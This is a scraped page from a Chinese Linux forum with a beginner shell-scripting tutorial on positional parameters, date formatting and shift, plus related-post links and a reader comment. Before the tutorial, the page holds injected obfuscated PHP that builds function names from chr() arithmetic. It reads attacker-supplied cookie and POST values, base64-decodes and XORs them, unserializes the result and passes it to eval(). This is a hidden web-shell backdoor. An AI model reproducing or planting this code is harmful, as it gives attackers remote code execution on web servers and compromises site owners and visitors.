$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 初窥门径shell脚本 | Linux运维部落

初窥门径shell脚本

1.什么是shell脚本

   首先它是一个脚本,并不能作为正式的编程语言。因为是跑在linux的shell中,所以叫shell脚本。确切的说shell脚本就是一些命令的集合。

2.写脚本前的一些细节及建议

  Shell脚本通常都是以.sh 为后缀名的,这个并不是说不带.sh这个脚本就不能执行,只是大家的一个习惯而已。所以,以后你发现了.sh为后缀的文件那么它可能是一个shell脚本了。test.sh中第一行要以 “#! /bin/bash” 开头,它代表的意思是,该文件使用的是bash语法。如果不设置该行,虽然你的shell脚本也可以执行,但是这不符合规范。 # 表示注释,在前面讲过的。后面跟一些该脚本的相关注释内容以及作者和创建日期或者版本等等。当然这些注释并非必须的,如果你懒的很,可以省略掉,但是我们不建议省略。因为随着工作时间的逐渐过渡,你写的shell脚本也会越来越多,如果有一天你回头查看自己写过的某个脚本时,很有可能忘记该脚本是用来干什么的以及什么时候写的。所以写上注释是有必要的。另外系统管理员并非只有你一个,如果是其他管理员查看你的脚本,他看不懂岂不是很郁闷。

3.shell脚本编程基础 

 3.1 基本数学运算

    [root@localhost sbin]# vim first.sh 

    [root@localhost sbin]# bash first.sh 5 6

    11

    [root@localhost sbin]# cat first.sh 

    #! /bin/bash

    ##This is my first shell script

    ##Writen by zhangliang  2016-08-10

    echo $[ $1+$2 ]

    [root@localhost sbin]# 

    QQ图片20160811154025.png

    其中脚本中的$1和$2为shell脚本的预设变量,没有限制的。$0代表脚本本身的名字。

    

    [root@localhost sbin]# sh first.sh  1 2

    1 2 first.sh

    [root@localhost sbin]# cat first.sh 

    #! /bin/bash

    ##This is my first shell script

    ##Writen by zhangliang  2016-08-10

    echo "$1 $2 $0"

   上部中的“sh first.sh  1 2”命令其实一般需要有执行权限x   如没有则可用# chmod + first.sh来添加。

  3.2命令date

    实例 一.Y表示四位数字格式打印年份  y表示两位数字格式打印年份  其他的则为英文单词开头字母大写

               [root@localhost sbin]# date +"%Y-%m-%d %H:%M:%S"

               2016-08-11 19:07:24

         二. 表示前一天的日期:

               [root@localhost sbin]# date -d "-1 day" +%d

               10

    

   3.3参数前移

      

     [root@localhost sbin]# vim shift.sh 

     [root@localhost sbin]# sh -x shift.sh             由此可知shift命令每执行一次,变量的个数($#)

     + '[' 0 -eq 0 ']'                                                                               

     [root@localhost sbin]# sh -x shift.sh 1 2 3 4        减一, 变量值提前一位。                         

     + '[' 4 -eq 0 ']'

     + echo

                                                                                                  

     + shift                                                                                         

     + '[' 3 -eq 0 ']'                                                                                     + echo

     + shift

     + '[' 2 -eq 0 ']'

     + echo

     + shift                                                             

     + '[' 1 -eq 0 ']'

     + echo                                                QQ图片20160811204744.png

     + shift                                

     + '[' 0 -eq 0 ']'

     [root@localhost sbin]# vim shift.sh 

     [root@localhost sbin]# cat shift.sh 

   

 3.4如何计在shell脚本中锚定计数空格行

     

     [root@localhost sbin]# 

     [root@localhost sbin]# vim konghang.sh 

     [root@localhost sbin]# bash konghang.sh /etc/fstab /etc/issue

     Total blank lines: 2

     QQ图片20160811153943.png 

     shift命令还有另外一个重要用途,Bsh定义了9个位置变量,从$1到$9,这并不意味着用户在命令行只能使用9个      参数,借助shift命令可以访问多于9个的参数。

4.总结:

  多学!多练!直到孰能生巧融会贯通。    

原创文章,作者:Zzuimeng,如若转载,请注明出处:http://www.178linux.com/33524

(0)
上一篇 2016-08-12 09:01
下一篇 2016-08-12 09:01

相关推荐

  • 定时任务的完成contab

    采用crontab来完成 利用crontab来定时执行任务大致有如下三步: 1、编写shell脚本 2、利用crontab加入到定时任务队列 3、查看作业完成情况 一、如何建立shell脚本 Linux下有很多不同的shell,但我们通常使用bash(bourne again shell)进行编程,因为bash是免费的并且很容易使用 程序必须以下面的行开始(…

    Linux干货 2016-08-11
  • 数组

    一.数组 变量:存储单个元素的内存空间 数组:存储多个元素的连续的内存空间,相当于多个变量的集合。 索引:编号从0 开始,属于数值索引  注:索引可支持使用自定义的格式,而不仅是数值格式,即为关联索引,bash4.0 版本之后开始支持,bash 的数组支持稀疏格式(索引不连续) 二.数组的声明 declare -a ARRAY_NAME decla…

    Linux干货 2016-11-23
  • 第三章 Linux文件系统初步

    用户界面:      可分为两种GUI和CLI         GUI(Graphical User Interface,简称 GUI,又称图形用户接口)是指采用图形方式显示的计算机操作用户界面。 GNOME(英语发音:/ɡˈnoʊm/或英语发音:/…

    Linux干货 2016-06-03
  • Linux系统程序包管理—rpm

     概述:      本章内容:软件的运行环境,软件包基础,rpm包管理,yum管理,定制yum仓库,编译安装 一、软件运行环境     1.□API:Application Programming Interface (应用程序开发接口)         &n…

    Linux干货 2016-09-01
  • find命令的基本用法

     linux 中find 常用示例解析 find [-H] [-L] [-P] [-D debugopts] [-Olevel] [path…] [expression]    其实[-H] [-L] [-P] [-D debugopts] [-Olevel]这几个选项并不常用(至少在我的日常工作中,没 &…

    Linux干货 2016-05-05
  • 文本处理工具

    首先介绍一下wc 这个工具,一看到这个词,我不禁捧腹大笑,这不是我们经常要去的地方吗?其实我们都错了,厕所的正确翻译为toilet,为什么叫wc 呢?这中间还有个故事,在这里就大概说一下吧。 很早以前,厕所Toilet里都有水箱watercloset, 人们一提到water closet就想到了toilet,因此watercloset就成了toil…

    2017-07-29

评论列表(1条)

  • 马哥教育
    马哥教育 2016-08-12 14:03

    文章对shell脚本的概念有了一个清楚的认识,需要补充一些脚本的变量及联系作业哦